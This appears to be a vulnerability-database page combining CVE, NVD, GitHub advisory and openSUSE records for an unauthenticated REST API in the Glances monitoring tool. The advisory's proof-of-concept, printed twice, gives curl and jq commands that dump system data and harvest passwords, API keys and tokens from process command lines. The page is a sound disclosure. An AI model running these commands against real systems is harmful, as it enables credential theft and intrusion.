Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-32596 (GCVE-0-2026-32596)
Vulnerability from cvelistv5 – Published: 2026-03-18 05:18 – Updated: 2026-03-18 15:45- CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
| URL | Tags |
|---|---|
| https://github.com/nicolargo/glances/security/adv… | x_refsource_CONFIRM |
| https://github.com/nicolargo/glances/commit/208d8… | x_refsource_MISC |
| https://github.com/nicolargo/glances/releases/tag… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-32596",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-18T15:44:55.679511Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-18T15:45:18.808Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "glances",
"vendor": "nicolargo",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-18T05:18:11.547Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq"
},
{
"name": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25"
},
{
"name": "https://github.com/nicolargo/glances/releases/tag/v4.5.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"source": {
"advisory": "GHSA-wvxv-4j8q-4wjq",
"discovery": "UNKNOWN"
},
"title": "Glances exposes the REST API without authentication"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-32596",
"datePublished": "2026-03-18T05:18:11.547Z",
"dateReserved": "2026-03-12T14:54:24.269Z",
"dateUpdated": "2026-03-18T15:45:18.808Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-32596",
"date": "2026-05-25",
"epss": "0.04065",
"percentile": "0.88679"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-32596\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-18T06:16:18.800\",\"lastModified\":\"2026-03-18T18:33:12.503\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-200\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.5.2\",\"matchCriteriaId\":\"3FC19E01-80F1-43BB-912C-39FE99143A59\"}]}]}],\"references\":[{\"url\":\"https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/nicolargo/glances/releases/tag/v4.5.2\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\",\"Release Notes\"]},{\"url\":\"https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-32596\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-18T15:44:55.679511Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-18T15:45:09.736Z\"}}], \"cna\": {\"title\": \"Glances exposes the REST API without authentication\", \"source\": {\"advisory\": \"GHSA-wvxv-4j8q-4wjq\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"nicolargo\", \"product\": \"glances\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 4.5.2\"}]}], \"references\": [{\"url\": \"https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq\", \"name\": \"https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25\", \"name\": \"https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/nicolargo/glances/releases/tag/v4.5.2\", \"name\": \"https://github.com/nicolargo/glances/releases/tag/v4.5.2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-200\", \"description\": \"CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-18T05:18:11.547Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-32596\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-18T15:45:18.808Z\", \"dateReserved\": \"2026-03-12T14:54:24.269Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-18T05:18:11.547Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-32596
Vulnerability from fkie_nvd - Published: 2026-03-18 06:16 - Updated: 2026-03-18 18:33{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*",
"matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59",
"versionEndExcluding": "4.5.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue."
},
{
"lang": "es",
"value": "Glances es una herramienta de monitoreo de sistemas multiplataforma de c\u00f3digo abierto. Antes de la versi\u00f3n 4.5.2, el servidor web de Glances se ejecuta sin autenticaci\u00f3n por defecto cuando se inicia con \u0027glances -w\u0027, exponiendo la API REST con informaci\u00f3n sensible del sistema, incluyendo l\u00edneas de comando de procesos que contienen credenciales (contrase\u00f1as, claves de API, tokens) a cualquier cliente de red. La versi\u00f3n 4.5.2 soluciona el problema."
}
],
"id": "CVE-2026-32596",
"lastModified": "2026-03-18T18:33:12.503",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-03-18T06:16:18.800",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product",
"Release Notes"
],
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-200"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-WVXV-4J8Q-4WJQ
Vulnerability from github – Published: 2026-03-16 16:23 – Updated: 2026-03-19 21:01Summary
Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details
Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code:
- File: glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
self._password = GlancesPassword(username=args.username, config=config)
if JWT_AVAILABLE:
jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
else:
self._jwt_handler = None
logger.info("JWT authentication not available (python-jose not installed)")
else:
self._password = None # NO AUTHENTICATION BY DEFAULT
self._jwt_handler = None
- File:
glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY
- File:
glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES
self.port = args.port or 61208
- File:
glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
'cpu_percent',
'memory_percent',
'memory_info',
'pid',
'username',
'cpu_times',
'num_threads',
'nice',
'status',
'io_counters',
'cpu_num',
'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]
PoC
- Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
- Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .
- Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json
- Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) |
{pid, username, process: .name, cmdline}'
- Example credential exposure:
{
"pid": 4059,
"username": "root",
"process": "python3",
"cmdline": [
"python3",
"-c",
"import time; time.sleep(3600)",
"--api-key=sk-super-secret-token-12345",
"--password=MySecretPassword123",
"--db-pass=admin123"
]
}
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32596"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:23:56Z",
"nvd_published_at": "2026-03-18T06:16:18Z",
"severity": "HIGH"
},
"details": "### Summary\nGlances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.\n\n### Details\nRoot Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.\n\nAffected Code:\n- File: `glances/outputs/glances_restful_api.py`, lines 259-272\n\n```python\nif self.args.password:\n self._password = GlancesPassword(username=args.username, config=config)\n if JWT_AVAILABLE:\n jwt_secret = config.get_value(\u0027outputs\u0027, \u0027jwt_secret_key\u0027, default=None)\n jwt_expire = config.get_int_value(\u0027outputs\u0027, \u0027jwt_expire_minutes\u0027, default=60)\n self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)\n logger.info(f\"JWT authentication enabled (token expiration: {jwt_expire} minutes)\")\n else:\n self._jwt_handler = None\n logger.info(\"JWT authentication not available (python-jose not installed)\")\nelse:\n self._password = None # NO AUTHENTICATION BY DEFAULT\n self._jwt_handler = None\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 477-480\n\n```python\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY\n```\n\n- File: `glances/outputs/glances_restful_api.py`, lines 98-99\n\n```python\nself.bind_address = args.bind_address or \"0.0.0.0\" # BINDS TO ALL INTERFACES\nself.port = args.port or 61208\n```\n\n- File: `glances/plugins/processlist/__init__.py`, lines 127-140\n\n```python\nenable_stats = [\n \u0027cpu_percent\u0027,\n \u0027memory_percent\u0027,\n \u0027memory_info\u0027,\n \u0027pid\u0027,\n \u0027username\u0027,\n \u0027cpu_times\u0027,\n \u0027num_threads\u0027,\n \u0027nice\u0027,\n \u0027status\u0027,\n \u0027io_counters\u0027,\n \u0027cpu_num\u0027,\n \u0027cmdline\u0027, # FULL COMMAND LINE EXPOSED, NO SANITIZATION\n]\n```\n\n### PoC\n\n1. Start Glances in default web server mode:\n```bash\nglances -w\n# Output: Glances Web User Interface started on http://0.0.0.0:61208/\n```\n\n2. Access API without authentication from any network client:\n```bash\ncurl -s http://TARGET:61208/api/4/system | jq .\n```\n\n\u003cimg width=\"593\" height=\"265\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54\" /\u003e\n\n\n3. Extract system information:\n```bash\ncurl -s http://TARGET:61208/api/4/all \u003e system_dump.json\n```\n\u003cimg width=\"688\" height=\"547\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7\" /\u003e\n\n4. Harvest credentials from process list:\n```bash\ncurl -s http://TARGET:61208/api/4/processlist | \\\n jq -r \u0027.[] | select(.cmdline | tostring | test(\"password|api-key|token|secret\"; \"i\")) | \n {pid, username, process: .name, cmdline}\u0027\n```\n\n5. Example credential exposure:\n```json\n{\n \"pid\": 4059,\n \"username\": \"root\",\n \"process\": \"python3\",\n \"cmdline\": [\n \"python3\",\n \"-c\",\n \"import time; time.sleep(3600)\",\n \"--api-key=sk-super-secret-token-12345\",\n \"--password=MySecretPassword123\",\n \"--db-pass=admin123\"\n ]\n}\n```\n\n### Impact\n\nComplete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.",
"id": "GHSA-wvxv-4j8q-4wjq",
"modified": "2026-03-19T21:01:57Z",
"published": "2026-03-16T16:23:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32596"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/208d876118fea5758970f33fd7474908bd403d25"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances exposes the REST API without authentication"
}
OPENSUSE-SU-2026:10415-1
Vulnerability from csaf_opensuse - Published: 2026-03-24 00:00 - Updated: 2026-03-24 00:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
